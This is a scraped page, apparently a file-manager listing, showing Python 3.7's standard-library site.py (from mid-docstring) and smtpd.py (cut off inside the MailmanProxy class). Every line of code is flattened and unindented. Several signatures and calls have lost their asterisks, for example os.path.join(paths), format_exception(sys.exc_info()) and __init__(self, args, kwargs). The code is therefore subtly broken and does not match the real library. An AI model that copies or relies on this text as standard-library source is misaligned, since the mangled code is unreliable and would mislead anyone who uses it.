sitecustomize, usercustomize or PYTHONSTARTUP. Starting Python in isolated mode (-I) disables automatic readline configuration. After these operations, an attempt is made to import a module named sitecustomize, which can perform arbitrary additional site-specific customizations. If this import fails with an ImportError exception, it is silently ignored. """ import sys import os import builtins import _sitebuiltins # Prefixes for site-packages; add additional prefixes like /usr/local here PREFIXES = [sys.prefix, sys.exec_prefix] # Enable per user site-packages directory # set it to False to disable the feature or True to force the feature ENABLE_USER_SITE = None # for distutils.commands.install # These values are initialized by the getuserbase() and getusersitepackages() # functions, through the main() function when Python starts. USER_SITE = None USER_BASE = None def makepath(paths): dir = os.path.join(paths) try: dir = os.path.abspath(dir) except OSError: pass return dir, os.path.normcase(dir) def abs_paths(): """Set all module __file__ and __cached__ attributes to an absolute path""" for m in set(sys.modules.values()): if (getattr(getattr(m, '__loader__', None), '__module__', None) not in ('_frozen_importlib', '_frozen_importlib_external')): continue # don't mess with a PEP 302-supplied __file__ try: m.__file__ = os.path.abspath(m.__file__) except (AttributeError, OSError, TypeError): pass try: m.__cached__ = os.path.abspath(m.__cached__) except (AttributeError, OSError, TypeError): pass def removeduppaths(): """ Remove duplicate entries from sys.path along with making them absolute""" # This ensures that the initial path provided by the interpreter contains # only absolute pathnames, even if we're running from the build directory. L = [] known_paths = set() for dir in sys.path: # Filter out duplicate paths (on case-insensitive file systems also # if they only differ in case); turn relative paths into absolute # paths. dir, dircase = makepath(dir) if dircase not in known_paths: L.append(dir) known_paths.add(dircase) sys.path[:] = L return known_paths def _init_pathinfo(): """Return a set containing all existing file system items from sys.path.""" d = set() for item in sys.path: try: if os.path.exists(item): _, itemcase = makepath(item) d.add(itemcase) except TypeError: continue return d def addpackage(sitedir, name, known_paths): """Process a .pth file within the site-packages directory: For each line in the file, either combine it with sitedir to a path and add that to known_paths, or execute it if it starts with 'import '. """ if known_paths is None: known_paths = _init_pathinfo() reset = True else: reset = False fullname = os.path.join(sitedir, name) try: f = open(fullname, "r") except OSError: return with f: for n, line in enumerate(f): if line.startswith("#"): continue try: if line.startswith(("import ", "import\t")): exec(line) continue line = line.rstrip() dir, dircase = makepath(sitedir, line) if not dircase in known_paths and os.path.exists(dir): sys.path.append(dir) known_paths.add(dircase) except Exception: print("Error processing line {:d} of {}:\n".format(n+1, fullname), file=sys.stderr) import traceback for record in traceback.format_exception(sys.exc_info()): for line in record.splitlines(): print(' '+line, file=sys.stderr) print("\nRemainder of file ignored", file=sys.stderr) break if reset: known_paths = None return known_paths def addsitedir(sitedir, known_paths=None): """Add 'sitedir' argument to sys.path if missing and handle .pth files in 'sitedir'""" if known_paths is None: known_paths = _init_pathinfo() reset = True else: reset = False sitedir, sitedircase = makepath(sitedir) if not sitedircase in known_paths: sys.path.append(sitedir) # Add path component known_paths.add(sitedircase) try: names = os.listdir(sitedir) except OSError: return names = [name for name in names if name.endswith(".pth")] for name in sorted(names): addpackage(sitedir, name, known_paths) if reset: known_paths = None return known_paths def check_enableusersite(): """Check if user site directory is safe for inclusion The function tests for the command line flag (including environment var), process uid/gid equal to effective uid/gid. None: Disabled for security reasons False: Disabled by user (command line option) True: Safe and enabled """ if sys.flags.no_user_site: return False if hasattr(os, "getuid") and hasattr(os, "geteuid"): # check process uid == effective uid if os.geteuid() != os.getuid(): return None if hasattr(os, "getgid") and hasattr(os, "getegid"): # check process gid == effective gid if os.getegid() != os.getgid(): return None return True # NOTE: sysconfig and it's dependencies are relatively large but site module # needs very limited part of them. # To speedup startup time, we have copy of them. # # See https://bugs.python.org/issue29585 # Copy of sysconfig._getuserbase() def _getuserbase(): env_base = os.environ.get("PYTHONUSERBASE", None) if env_base: return env_base def joinuser(args): return os.path.expanduser(os.path.join(args)) if os.name == "nt": base = os.environ.get("APPDATA") or "~" return joinuser(base, "Python") if sys.platform == "darwin" and sys._framework: return joinuser("~", "Library", sys._framework, "%d.%d" % sys.version_info[:2]) return joinuser("~", ".local") # Same to sysconfig.get_path('purelib', os.name+'_user') def _get_path(userbase): version = sys.version_info if os.name == 'nt': return f'{userbase}\\Python{version[0]}{version[1]}\\site-packages' if sys.platform == 'darwin' and sys._framework: return f'{userbase}/lib/python/site-packages' return f'{userbase}/lib/python{version[0]}.{version[1]}/site-packages' def getuserbase(): """Returns the `user base` directory path. The `user base` directory can be used to store data. If the global variable ``USER_BASE`` is not initialized yet, this function will also set it. """ global USER_BASE if USER_BASE is None: USER_BASE = _getuserbase() return USER_BASE def getusersitepackages(): """Returns the user-specific site-packages directory path. If the global variable ``USER_SITE`` is not initialized yet, this function will also set it. """ global USER_SITE userbase = getuserbase() # this will also set USER_BASE if USER_SITE is None: USER_SITE = _get_path(userbase) return USER_SITE def addusersitepackages(known_paths): """Add a per user site-package to sys.path Each user has its own python directory with site-packages in the home directory. """ # get the per user site-package path # this call will also make sure USER_BASE and USER_SITE are set user_site = getusersitepackages() if ENABLE_USER_SITE and os.path.isdir(user_site): addsitedir(user_site, known_paths) return known_paths def getsitepackages(prefixes=None): """Returns a list containing all global site-packages directories. For each directory present in ``prefixes`` (or the global ``PREFIXES``), this function will find its `site-packages` subdirectory depending on the system environment, and will return a list of full paths. """ sitepackages = [] seen = set() if prefixes is None: prefixes = PREFIXES for prefix in prefixes: if not prefix or prefix in seen: continue seen.add(prefix) if os.sep == '/': sitepackages.append(os.path.join(prefix, "lib64", "python" + sys.version[:3], "site-packages")) sitepackages.append(os.path.join(prefix, "lib", "python%d.%d" % sys.version_info[:2], "site-packages")) else: sitepackages.append(prefix) sitepackages.append(os.path.join(prefix, "lib64", "site-packages")) sitepackages.append(os.path.join(prefix, "lib", "site-packages")) return sitepackages def addsitepackages(known_paths, prefixes=None): """Add site-packages to sys.path""" for sitedir in getsitepackages(prefixes): if os.path.isdir(sitedir): addsitedir(sitedir, known_paths) return known_paths def setquit(): """Define new builtins 'quit' and 'exit'. These are objects which make the interpreter exit when called. The repr of each object contains a hint at how it works. """ if os.sep == '\\': eof = 'Ctrl-Z plus Return' else: eof = 'Ctrl-D (i.e. EOF)' builtins.quit = _sitebuiltins.Quitter('quit', eof) builtins.exit = _sitebuiltins.Quitter('exit', eof) def setcopyright(): """Set 'copyright' and 'credits' in builtins""" builtins.copyright = _sitebuiltins._Printer("copyright", sys.copyright) if sys.platform[:4] == 'java': builtins.credits = _sitebuiltins._Printer( "credits", "Jython is maintained by the Jython developers (www.jython.org).") else: builtins.credits = _sitebuiltins._Printer("credits", """\ Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.python.org for more information.""") files, dirs = [], [] # Not all modules are required to have a __file__ attribute. See # PEP 420 for more details. if hasattr(os, '__file__'): here = os.path.dirname(os.__file__) files.extend(["LICENSE.txt", "LICENSE"]) dirs.extend([os.path.join(here, os.pardir), here, os.curdir]) builtins.license = _sitebuiltins._Printer( "license", "See https://www.python.org/psf/license/", files, dirs) def sethelper(): builtins.help = _sitebuiltins._Helper() def enablerlcompleter(): """Enable default readline configuration on interactive prompts, by registering a sys.__interactivehook__. If the readline module can be imported, the hook will set the Tab key as completion key and register ~/.python_history as history file. This can be overridden in the sitecustomize or usercustomize module, or in a PYTHONSTARTUP file. """ def register_readline(): import atexit try: import readline import rlcompleter except ImportError: return # Reading the initialization (config) file may not be enough to set a # completion key, so we set one first and then read the file. readline_doc = getattr(readline, '__doc__', '') if readline_doc is not None and 'libedit' in readline_doc: readline.parse_and_bind('bind ^I rl_complete') else: readline.parse_and_bind('tab: complete') try: readline.read_init_file() except OSError: # An OSError here could have many causes, but the most likely one # is that there's no .inputrc file (or .editrc file in the case of # Mac OS X + libedit) in the expected location. In that case, we # want to ignore the exception. pass if readline.get_current_history_length() == 0: # If no history was loaded, default to .python_history. # The guard is necessary to avoid doubling history size at # each interpreter exit when readline was already configured # through a PYTHONSTARTUP hook, see: # http://bugs.python.org/issue5845#msg198636 history = os.path.join(os.path.expanduser('~'), '.python_history') try: readline.read_history_file(history) except OSError: pass def write_history(): try: readline.write_history_file(history) except (FileNotFoundError, PermissionError): # home directory does not exist or is not writable # https://bugs.python.org/issue19891 pass atexit.register(write_history) sys.__interactivehook__ = register_readline def venv(known_paths): global PREFIXES, ENABLE_USER_SITE env = os.environ if sys.platform == 'darwin' and '__PYVENV_LAUNCHER__' in env: executable = sys._base_executable = os.environ['__PYVENV_LAUNCHER__'] else: executable = sys.executable exe_dir, _ = os.path.split(os.path.abspath(executable)) site_prefix = os.path.dirname(exe_dir) sys._home = None conf_basename = 'pyvenv.cfg' candidate_confs = [ conffile for conffile in ( os.path.join(exe_dir, conf_basename), os.path.join(site_prefix, conf_basename) ) if os.path.isfile(conffile) ] if candidate_confs: virtual_conf = candidate_confs[0] system_site = "true" # Issue 25185: Use UTF-8, as that's what the venv module uses when # writing the file. with open(virtual_conf, encoding='utf-8') as f: for line in f: if '=' in line: key, _, value = line.partition('=') key = key.strip().lower() value = value.strip() if key == 'include-system-site-packages': system_site = value.lower() elif key == 'home': sys._home = value sys.prefix = sys.exec_prefix = site_prefix # Doing this here ensures venv takes precedence over user-site addsitepackages(known_paths, [sys.prefix]) # addsitepackages will process site_prefix again if its in PREFIXES, # but that's ok; known_paths will prevent anything being added twice if system_site == "true": PREFIXES.insert(0, sys.prefix) else: PREFIXES = [sys.prefix] ENABLE_USER_SITE = False return known_paths def execsitecustomize(): """Run custom site specific code, if available.""" try: try: import sitecustomize except ImportError as exc: if exc.name == 'sitecustomize': pass else: raise except Exception as err: if sys.flags.verbose: sys.excepthook(sys.exc_info()) else: sys.stderr.write( "Error in sitecustomize; set PYTHONVERBOSE for traceback:\n" "%s: %s\n" % (err.__class__.__name__, err)) def execusercustomize(): """Run custom user specific code, if available.""" try: try: import usercustomize except ImportError as exc: if exc.name == 'usercustomize': pass else: raise except Exception as err: if sys.flags.verbose: sys.excepthook(*sys.exc_info()) else: sys.stderr.write( "Error in usercustomize; set PYTHONVERBOSE for traceback:\n" "%s: %s\n" % (err.__class__.__name__, err)) def main(): """Add standard site-specific directories to the module search path. This function is called automatically when this module is imported, unless the python interpreter was started with the -S flag. """ global ENABLE_USER_SITE orig_path = sys.path[:] known_paths = removeduppaths() if orig_path != sys.path: # removeduppaths() might make sys.path absolute. # fix __file__ and __cached__ of already imported modules too. abs_paths() known_paths = venv(known_paths) if ENABLE_USER_SITE is None: ENABLE_USER_SITE = check_enableusersite() known_paths = addusersitepackages(known_paths) known_paths = addsitepackages(known_paths) setquit() setcopyright() sethelper() if not sys.flags.isolated: enablerlcompleter() execsitecustomize() if ENABLE_USER_SITE: execusercustomize() # Prevent extending of sys.path when python was started with -S and # site is imported later. if not sys.flags.no_site: main() def _script(): help = """\ %s [--user-base] [--user-site] Without arguments print some useful information With arguments print the value of USER_BASE and/or USER_SITE separated by '%s'. Exit codes with --user-base or --user-site: 0 - user site directory is enabled 1 - user site directory is disabled by user 2 - uses site directory is disabled by super user or for security reasons >2 - unknown error """ args = sys.argv[1:] if not args: user_base = getuserbase() user_site = getusersitepackages() print("sys.path = [") for dir in sys.path: print(" %r," % (dir,)) print("]") print("USER_BASE: %r (%s)" % (user_base, "exists" if os.path.isdir(user_base) else "doesn't exist")) print("USER_SITE: %r (%s)" % (user_site, "exists" if os.path.isdir(user_site) else "doesn't exist")) print("ENABLE_USER_SITE: %r" % ENABLE_USER_SITE) sys.exit(0) buffer = [] if '--user-base' in args: buffer.append(USER_BASE) if '--user-site' in args: buffer.append(USER_SITE) if buffer: print(os.pathsep.join(buffer)) if ENABLE_USER_SITE: sys.exit(0) elif ENABLE_USER_SITE is False: sys.exit(1) elif ENABLE_USER_SITE is None: sys.exit(2) else: sys.exit(3) else: import textwrap print(textwrap.dedent(help % (sys.argv[0], os.pathsep))) sys.exit(10) if __name__ == '__main__': _script()	21.07 KB	2024-04-17 17:55
📄 smtpd.py #! /opt/alt/python37/bin/python3.7 """An RFC 5321 smtp proxy with optional RFC 1870 and RFC 6531 extensions. Usage: %(program)s [options] [localhost:localport [remotehost:remoteport]] Options: --nosetuid -n This program generally tries to setuid `nobody', unless this flag is set. The setuid call will fail if this program is not run as root (in which case, use this flag). --version -V Print the version number and exit. --class classname -c classname Use `classname' as the concrete SMTP proxy class. Uses `PureProxy' by default. --size limit -s limit Restrict the total size of the incoming message to "limit" number of bytes via the RFC 1870 SIZE extension. Defaults to 33554432 bytes. --smtputf8 -u Enable the SMTPUTF8 extension and behave as an RFC 6531 smtp proxy. --debug -d Turn on debugging prints. --help -h Print this message and exit. Version: %(__version__)s If localhost is not given then `localhost' is used, and if localport is not given then 8025 is used. If remotehost is not given then `localhost' is used, and if remoteport is not given, then 25 is used. """ # Overview: # # This file implements the minimal SMTP protocol as defined in RFC 5321. It # has a hierarchy of classes which implement the backend functionality for the # smtpd. A number of classes are provided: # # SMTPServer - the base class for the backend. Raises NotImplementedError # if you try to use it. # # DebuggingServer - simply prints each message it receives on stdout. # # PureProxy - Proxies all messages to a real smtpd which does final # delivery. One known problem with this class is that it doesn't handle # SMTP errors from the backend server at all. This should be fixed # (contributions are welcome!). # # MailmanProxy - An experimental hack to work with GNU Mailman # <www.list.org>. Using this server as your real incoming smtpd, your # mailhost will automatically recognize and accept mail destined to Mailman # lists when those lists are created. Every message not destined for a list # gets forwarded to a real backend smtpd, as with PureProxy. Again, errors # are not handled correctly yet. # # # Author: Barry Warsaw <barry@python.org> # # TODO: # # - support mailbox delivery # - alias files # - Handle more ESMTP extensions # - handle error codes from the backend smtpd import sys import os import errno import getopt import time import socket import asyncore import asynchat import collections from warnings import warn from email._header_value_parser import get_addr_spec, get_angle_addr __all__ = [ "SMTPChannel", "SMTPServer", "DebuggingServer", "PureProxy", "MailmanProxy", ] program = sys.argv[0] __version__ = 'Python SMTP proxy version 0.3' class Devnull: def write(self, msg): pass def flush(self): pass DEBUGSTREAM = Devnull() NEWLINE = '\n' COMMASPACE = ', ' DATA_SIZE_DEFAULT = 33554432 def usage(code, msg=''): print(__doc__ % globals(), file=sys.stderr) if msg: print(msg, file=sys.stderr) sys.exit(code) class SMTPChannel(asynchat.async_chat): COMMAND = 0 DATA = 1 command_size_limit = 512 command_size_limits = collections.defaultdict(lambda x=command_size_limit: x) @property def max_command_size_limit(self): try: return max(self.command_size_limits.values()) except ValueError: return self.command_size_limit def __init__(self, server, conn, addr, data_size_limit=DATA_SIZE_DEFAULT, map=None, enable_SMTPUTF8=False, decode_data=False): asynchat.async_chat.__init__(self, conn, map=map) self.smtp_server = server self.conn = conn self.addr = addr self.data_size_limit = data_size_limit self.enable_SMTPUTF8 = enable_SMTPUTF8 self._decode_data = decode_data if enable_SMTPUTF8 and decode_data: raise ValueError("decode_data and enable_SMTPUTF8 cannot" " be set to True at the same time") if decode_data: self._emptystring = '' self._linesep = '\r\n' self._dotsep = '.' self._newline = NEWLINE else: self._emptystring = b'' self._linesep = b'\r\n' self._dotsep = ord(b'.') self._newline = b'\n' self._set_rset_state() self.seen_greeting = '' self.extended_smtp = False self.command_size_limits.clear() self.fqdn = socket.getfqdn() try: self.peer = conn.getpeername() except OSError as err: # a race condition may occur if the other end is closing # before we can get the peername self.close() if err.args[0] != errno.ENOTCONN: raise return print('Peer:', repr(self.peer), file=DEBUGSTREAM) self.push('220 %s %s' % (self.fqdn, __version__)) def _set_post_data_state(self): """Reset state variables to their post-DATA state.""" self.smtp_state = self.COMMAND self.mailfrom = None self.rcpttos = [] self.require_SMTPUTF8 = False self.num_bytes = 0 self.set_terminator(b'\r\n') def _set_rset_state(self): """Reset all state variables except the greeting.""" self._set_post_data_state() self.received_data = '' self.received_lines = [] # properties for backwards-compatibility @property def __server(self): warn("Access to __server attribute on SMTPChannel is deprecated, " "use 'smtp_server' instead", DeprecationWarning, 2) return self.smtp_server @__server.setter def __server(self, value): warn("Setting __server attribute on SMTPChannel is deprecated, " "set 'smtp_server' instead", DeprecationWarning, 2) self.smtp_server = value @property def __line(self): warn("Access to __line attribute on SMTPChannel is deprecated, " "use 'received_lines' instead", DeprecationWarning, 2) return self.received_lines @__line.setter def __line(self, value): warn("Setting __line attribute on SMTPChannel is deprecated, " "set 'received_lines' instead", DeprecationWarning, 2) self.received_lines = value @property def __state(self): warn("Access to __state attribute on SMTPChannel is deprecated, " "use 'smtp_state' instead", DeprecationWarning, 2) return self.smtp_state @__state.setter def __state(self, value): warn("Setting __state attribute on SMTPChannel is deprecated, " "set 'smtp_state' instead", DeprecationWarning, 2) self.smtp_state = value @property def __greeting(self): warn("Access to __greeting attribute on SMTPChannel is deprecated, " "use 'seen_greeting' instead", DeprecationWarning, 2) return self.seen_greeting @__greeting.setter def __greeting(self, value): warn("Setting __greeting attribute on SMTPChannel is deprecated, " "set 'seen_greeting' instead", DeprecationWarning, 2) self.seen_greeting = value @property def __mailfrom(self): warn("Access to __mailfrom attribute on SMTPChannel is deprecated, " "use 'mailfrom' instead", DeprecationWarning, 2) return self.mailfrom @__mailfrom.setter def __mailfrom(self, value): warn("Setting __mailfrom attribute on SMTPChannel is deprecated, " "set 'mailfrom' instead", DeprecationWarning, 2) self.mailfrom = value @property def __rcpttos(self): warn("Access to __rcpttos attribute on SMTPChannel is deprecated, " "use 'rcpttos' instead", DeprecationWarning, 2) return self.rcpttos @__rcpttos.setter def __rcpttos(self, value): warn("Setting __rcpttos attribute on SMTPChannel is deprecated, " "set 'rcpttos' instead", DeprecationWarning, 2) self.rcpttos = value @property def __data(self): warn("Access to __data attribute on SMTPChannel is deprecated, " "use 'received_data' instead", DeprecationWarning, 2) return self.received_data @__data.setter def __data(self, value): warn("Setting __data attribute on SMTPChannel is deprecated, " "set 'received_data' instead", DeprecationWarning, 2) self.received_data = value @property def __fqdn(self): warn("Access to __fqdn attribute on SMTPChannel is deprecated, " "use 'fqdn' instead", DeprecationWarning, 2) return self.fqdn @__fqdn.setter def __fqdn(self, value): warn("Setting __fqdn attribute on SMTPChannel is deprecated, " "set 'fqdn' instead", DeprecationWarning, 2) self.fqdn = value @property def __peer(self): warn("Access to __peer attribute on SMTPChannel is deprecated, " "use 'peer' instead", DeprecationWarning, 2) return self.peer @__peer.setter def __peer(self, value): warn("Setting __peer attribute on SMTPChannel is deprecated, " "set 'peer' instead", DeprecationWarning, 2) self.peer = value @property def __conn(self): warn("Access to __conn attribute on SMTPChannel is deprecated, " "use 'conn' instead", DeprecationWarning, 2) return self.conn @__conn.setter def __conn(self, value): warn("Setting __conn attribute on SMTPChannel is deprecated, " "set 'conn' instead", DeprecationWarning, 2) self.conn = value @property def __addr(self): warn("Access to __addr attribute on SMTPChannel is deprecated, " "use 'addr' instead", DeprecationWarning, 2) return self.addr @__addr.setter def __addr(self, value): warn("Setting __addr attribute on SMTPChannel is deprecated, " "set 'addr' instead", DeprecationWarning, 2) self.addr = value # Overrides base class for convenience. def push(self, msg): asynchat.async_chat.push(self, bytes( msg + '\r\n', 'utf-8' if self.require_SMTPUTF8 else 'ascii')) # Implementation of base class abstract method def collect_incoming_data(self, data): limit = None if self.smtp_state == self.COMMAND: limit = self.max_command_size_limit elif self.smtp_state == self.DATA: limit = self.data_size_limit if limit and self.num_bytes > limit: return elif limit: self.num_bytes += len(data) if self._decode_data: self.received_lines.append(str(data, 'utf-8')) else: self.received_lines.append(data) # Implementation of base class abstract method def found_terminator(self): line = self._emptystring.join(self.received_lines) print('Data:', repr(line), file=DEBUGSTREAM) self.received_lines = [] if self.smtp_state == self.COMMAND: sz, self.num_bytes = self.num_bytes, 0 if not line: self.push('500 Error: bad syntax') return if not self._decode_data: line = str(line, 'utf-8') i = line.find(' ') if i < 0: command = line.upper() arg = None else: command = line[:i].upper() arg = line[i+1:].strip() max_sz = (self.command_size_limits[command] if self.extended_smtp else self.command_size_limit) if sz > max_sz: self.push('500 Error: line too long') return method = getattr(self, 'smtp_' + command, None) if not method: self.push('500 Error: command "%s" not recognized' % command) return method(arg) return else: if self.smtp_state != self.DATA: self.push('451 Internal confusion') self.num_bytes = 0 return if self.data_size_limit and self.num_bytes > self.data_size_limit: self.push('552 Error: Too much mail data') self.num_bytes = 0 return # Remove extraneous carriage returns and de-transparency according # to RFC 5321, Section 4.5.2. data = [] for text in line.split(self._linesep): if text and text[0] == self._dotsep: data.append(text[1:]) else: data.append(text) self.received_data = self._newline.join(data) args = (self.peer, self.mailfrom, self.rcpttos, self.received_data) kwargs = {} if not self._decode_data: kwargs = { 'mail_options': self.mail_options, 'rcpt_options': self.rcpt_options, } status = self.smtp_server.process_message(args, kwargs) self._set_post_data_state() if not status: self.push('250 OK') else: self.push(status) # SMTP and ESMTP commands def smtp_HELO(self, arg): if not arg: self.push('501 Syntax: HELO hostname') return # See issue #21783 for a discussion of this behavior. if self.seen_greeting: self.push('503 Duplicate HELO/EHLO') return self._set_rset_state() self.seen_greeting = arg self.push('250 %s' % self.fqdn) def smtp_EHLO(self, arg): if not arg: self.push('501 Syntax: EHLO hostname') return # See issue #21783 for a discussion of this behavior. if self.seen_greeting: self.push('503 Duplicate HELO/EHLO') return self._set_rset_state() self.seen_greeting = arg self.extended_smtp = True self.push('250-%s' % self.fqdn) if self.data_size_limit: self.push('250-SIZE %s' % self.data_size_limit) self.command_size_limits['MAIL'] += 26 if not self._decode_data: self.push('250-8BITMIME') if self.enable_SMTPUTF8: self.push('250-SMTPUTF8') self.command_size_limits['MAIL'] += 10 self.push('250 HELP') def smtp_NOOP(self, arg): if arg: self.push('501 Syntax: NOOP') else: self.push('250 OK') def smtp_QUIT(self, arg): # args is ignored self.push('221 Bye') self.close_when_done() def _strip_command_keyword(self, keyword, arg): keylen = len(keyword) if arg[:keylen].upper() == keyword: return arg[keylen:].strip() return '' def _getaddr(self, arg): if not arg: return '', '' if arg.lstrip().startswith('<'): address, rest = get_angle_addr(arg) else: address, rest = get_addr_spec(arg) if not address: return address, rest return address.addr_spec, rest def _getparams(self, params): # Return params as dictionary. Return None if not all parameters # appear to be syntactically valid according to RFC 1869. result = {} for param in params: param, eq, value = param.partition('=') if not param.isalnum() or eq and not value: return None result[param] = value if eq else True return result def smtp_HELP(self, arg): if arg: extended = ' [SP <mail-parameters>]' lc_arg = arg.upper() if lc_arg == 'EHLO': self.push('250 Syntax: EHLO hostname') elif lc_arg == 'HELO': self.push('250 Syntax: HELO hostname') elif lc_arg == 'MAIL': msg = '250 Syntax: MAIL FROM: <address>' if self.extended_smtp: msg += extended self.push(msg) elif lc_arg == 'RCPT': msg = '250 Syntax: RCPT TO: <address>' if self.extended_smtp: msg += extended self.push(msg) elif lc_arg == 'DATA': self.push('250 Syntax: DATA') elif lc_arg == 'RSET': self.push('250 Syntax: RSET') elif lc_arg == 'NOOP': self.push('250 Syntax: NOOP') elif lc_arg == 'QUIT': self.push('250 Syntax: QUIT') elif lc_arg == 'VRFY': self.push('250 Syntax: VRFY <address>') else: self.push('501 Supported commands: EHLO HELO MAIL RCPT ' 'DATA RSET NOOP QUIT VRFY') else: self.push('250 Supported commands: EHLO HELO MAIL RCPT DATA ' 'RSET NOOP QUIT VRFY') def smtp_VRFY(self, arg): if arg: address, params = self._getaddr(arg) if address: self.push('252 Cannot VRFY user, but will accept message ' 'and attempt delivery') else: self.push('502 Could not VRFY %s' % arg) else: self.push('501 Syntax: VRFY <address>') def smtp_MAIL(self, arg): if not self.seen_greeting: self.push('503 Error: send HELO first') return print('===> MAIL', arg, file=DEBUGSTREAM) syntaxerr = '501 Syntax: MAIL FROM: <address>' if self.extended_smtp: syntaxerr += ' [SP <mail-parameters>]' if arg is None: self.push(syntaxerr) return arg = self._strip_command_keyword('FROM:', arg) address, params = self._getaddr(arg) if not address: self.push(syntaxerr) return if not self.extended_smtp and params: self.push(syntaxerr) return if self.mailfrom: self.push('503 Error: nested MAIL command') return self.mail_options = params.upper().split() params = self._getparams(self.mail_options) if params is None: self.push(syntaxerr) return if not self._decode_data: body = params.pop('BODY', '7BIT') if body not in ['7BIT', '8BITMIME']: self.push('501 Error: BODY can only be one of 7BIT, 8BITMIME') return if self.enable_SMTPUTF8: smtputf8 = params.pop('SMTPUTF8', False) if smtputf8 is True: self.require_SMTPUTF8 = True elif smtputf8 is not False: self.push('501 Error: SMTPUTF8 takes no arguments') return size = params.pop('SIZE', None) if size: if not size.isdigit(): self.push(syntaxerr) return elif self.data_size_limit and int(size) > self.data_size_limit: self.push('552 Error: message size exceeds fixed maximum message size') return if len(params.keys()) > 0: self.push('555 MAIL FROM parameters not recognized or not implemented') return self.mailfrom = address print('sender:', self.mailfrom, file=DEBUGSTREAM) self.push('250 OK') def smtp_RCPT(self, arg): if not self.seen_greeting: self.push('503 Error: send HELO first'); return print('===> RCPT', arg, file=DEBUGSTREAM) if not self.mailfrom: self.push('503 Error: need MAIL command') return syntaxerr = '501 Syntax: RCPT TO: <address>' if self.extended_smtp: syntaxerr += ' [SP <mail-parameters>]' if arg is None: self.push(syntaxerr) return arg = self._strip_command_keyword('TO:', arg) address, params = self._getaddr(arg) if not address: self.push(syntaxerr) return if not self.extended_smtp and params: self.push(syntaxerr) return self.rcpt_options = params.upper().split() params = self._getparams(self.rcpt_options) if params is None: self.push(syntaxerr) return # XXX currently there are no options we recognize. if len(params.keys()) > 0: self.push('555 RCPT TO parameters not recognized or not implemented') return self.rcpttos.append(address) print('recips:', self.rcpttos, file=DEBUGSTREAM) self.push('250 OK') def smtp_RSET(self, arg): if arg: self.push('501 Syntax: RSET') return self._set_rset_state() self.push('250 OK') def smtp_DATA(self, arg): if not self.seen_greeting: self.push('503 Error: send HELO first'); return if not self.rcpttos: self.push('503 Error: need RCPT command') return if arg: self.push('501 Syntax: DATA') return self.smtp_state = self.DATA self.set_terminator(b'\r\n.\r\n') self.push('354 End data with <CR><LF>.<CR><LF>') # Commands that have not been implemented def smtp_EXPN(self, arg): self.push('502 EXPN not implemented') class SMTPServer(asyncore.dispatcher): # SMTPChannel class to use for managing client connections channel_class = SMTPChannel def __init__(self, localaddr, remoteaddr, data_size_limit=DATA_SIZE_DEFAULT, map=None, enable_SMTPUTF8=False, decode_data=False): self._localaddr = localaddr self._remoteaddr = remoteaddr self.data_size_limit = data_size_limit self.enable_SMTPUTF8 = enable_SMTPUTF8 self._decode_data = decode_data if enable_SMTPUTF8 and decode_data: raise ValueError("decode_data and enable_SMTPUTF8 cannot" " be set to True at the same time") asyncore.dispatcher.__init__(self, map=map) try: gai_results = socket.getaddrinfo(localaddr, type=socket.SOCK_STREAM) self.create_socket(gai_results[0][0], gai_results[0][1]) # try to re-use a server port if possible self.set_reuse_addr() self.bind(localaddr) self.listen(5) except: self.close() raise else: print('%s started at %s\n\tLocal addr: %s\n\tRemote addr:%s' % ( self.__class__.__name__, time.ctime(time.time()), localaddr, remoteaddr), file=DEBUGSTREAM) def handle_accepted(self, conn, addr): print('Incoming connection from %s' % repr(addr), file=DEBUGSTREAM) channel = self.channel_class(self, conn, addr, self.data_size_limit, self._map, self.enable_SMTPUTF8, self._decode_data) # API for "doing something useful with the message" def process_message(self, peer, mailfrom, rcpttos, data, kwargs): """Override this abstract method to handle messages from the client. peer is a tuple containing (ipaddr, port) of the client that made the socket connection to our smtp port. mailfrom is the raw address the client claims the message is coming from. rcpttos is a list of raw addresses the client wishes to deliver the message to. data is a string containing the entire full text of the message, headers (if supplied) and all. It has been `de-transparencied' according to RFC 821, Section 4.5.2. In other words, a line containing a `.' followed by other text has had the leading dot removed. kwargs is a dictionary containing additional information. It is empty if decode_data=True was given as init parameter, otherwise it will contain the following keys: 'mail_options': list of parameters to the mail command. All elements are uppercase strings. Example: ['BODY=8BITMIME', 'SMTPUTF8']. 'rcpt_options': same, for the rcpt command. This function should return None for a normal `250 Ok' response; otherwise, it should return the desired response string in RFC 821 format. """ raise NotImplementedError class DebuggingServer(SMTPServer): def _print_message_content(self, peer, data): inheaders = 1 lines = data.splitlines() for line in lines: # headers first if inheaders and not line: peerheader = 'X-Peer: ' + peer[0] if not isinstance(data, str): # decoded_data=false; make header match other binary output peerheader = repr(peerheader.encode('utf-8')) print(peerheader) inheaders = 0 if not isinstance(data, str): # Avoid spurious 'str on bytes instance' warning. line = repr(line) print(line) def process_message(self, peer, mailfrom, rcpttos, data, kwargs): print('---------- MESSAGE FOLLOWS ----------') if kwargs: if kwargs.get('mail_options'): print('mail options: %s' % kwargs['mail_options']) if kwargs.get('rcpt_options'): print('rcpt options: %s\n' % kwargs['rcpt_options']) self._print_message_content(peer, data) print('------------ END MESSAGE ------------') class PureProxy(SMTPServer): def __init__(self, args, kwargs): if 'enable_SMTPUTF8' in kwargs and kwargs['enable_SMTPUTF8']: raise ValueError("PureProxy does not support SMTPUTF8.") super(PureProxy, self).__init__(args, *kwargs) def process_message(self, peer, mailfrom, rcpttos, data): lines = data.split('\n') # Look for the last header i = 0 for line in lines: if not line: break i += 1 lines.insert(i, 'X-Peer: %s' % peer[0]) data = NEWLINE.join(lines) refused = self._deliver(mailfrom, rcpttos, data) # TBD: what to do with refused addresses? print('we got some refusals:', refused, file=DEBUGSTREAM) def _deliver(self, mailfrom, rcpttos, data): import smtplib refused = {} try: s = smtplib.SMTP() s.connect(self._remoteaddr[0], self._remoteaddr[1]) try: refused = s.sendmail(mailfrom, rcpttos, data) finally: s.quit() except smtplib.SMTPRecipientsRefused as e: print('got SMTPRecipientsRefused', file=DEBUGSTREAM) refused = e.recipients except (OSError, smtplib.SMTPException) as e: print('got', e.__class__, file=DEBUGSTREAM) # All recipients were refused. If the exception had an associated # error code, use it. Otherwise,fake it with a non-triggering # exception code. errcode = getattr(e, 'smtp_code', -1) errmsg = getattr(e, 'smtp_error', 'ignore') for r in rcpttos: refused[r] = (errcode, errmsg) return refused class MailmanProxy(PureProxy): def __init__(self, args, *kwargs): if 'enable_SMTPUTF8' in kwargs and kwargs['enable_SMTPUTF8']: raise ValueError("MailmanProxy does not support SMTPUTF8.") super(PureProxy, 